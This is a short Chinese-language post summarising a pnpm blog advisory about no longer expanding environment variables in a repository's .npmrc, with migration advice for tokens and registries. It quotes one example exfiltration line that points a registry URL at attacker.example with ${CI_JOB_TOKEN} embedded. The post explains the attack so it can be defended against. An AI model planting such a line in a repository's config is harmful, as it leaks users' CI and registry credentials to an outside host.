Now vibe coding, so learning hammer FE ?
《pnpm_不再在仓库的.npmrc_中展开环境变量》

标签:#NodeJS #pnpm #安全性 #npmrc #供应链安全

总结:
pnpm 在 v10.34.2 和 v11.5.3 中修复了一个高危安全漏洞:恶意仓库可通过在 .npmrc 中嵌入 ${ENV_VAR} 占位符,在 pnpm install 解析依赖时窃取用户环境变量中的敏感 token。现在 pnpm 对仓库控制的配置文件不再展开环境变量,凭证和 registry 设置必须移到你信任的位置(如用户级 ~/.npmrc、环境变量或 CLI 参数)。

文章要点:
1. 攻击原理很隐蔽:恶意仓库在 .npmrc 里写 registry=https://attacker.example/${CI_JOB_TOKEN}/,你 pnpm install 时 pnpm 会自动把环境变量填进去,token 就直接发到攻击者服务器了,不需要任何 postinstall 脚本
2. 修复边界很清晰:仓库内的 .npmrcpnpm-workspace.yaml 里的 registry、认证相关字段不再展开 ${...},但用户级配置、全局配置、命令行参数和环境变量配置仍然正常展开
3. 迁移姿势很简单:用 pnpm config set 把 token 写到用户配置,或者直接用 pnpm_config_//registry... 环境变量传凭证,GitHub Actions 的 actions/setup-node 完全不受影响
4. 多 token 场景也有解:v11.7 新增了按 scope 区分认证 token 的能力,同一个 registry 不同组织可以用不同的 _authToken,再也不用靠环境变量模板来切换了
5. 虽然是 breaking change 但不得不修:这是有实际利用链的漏洞,等下一个 major 再修意味着让无数用户的 secrets 继续暴露在风险中,所以 pnpm 选择在 patch 版本里直接修复

URL:https://pnpm.io/blog/2026/06/11/env-variables-in-repository-npmrc Why pnpm no longer expands environment variables in a repository's .npmrc | pnpm
 
 
Back to Top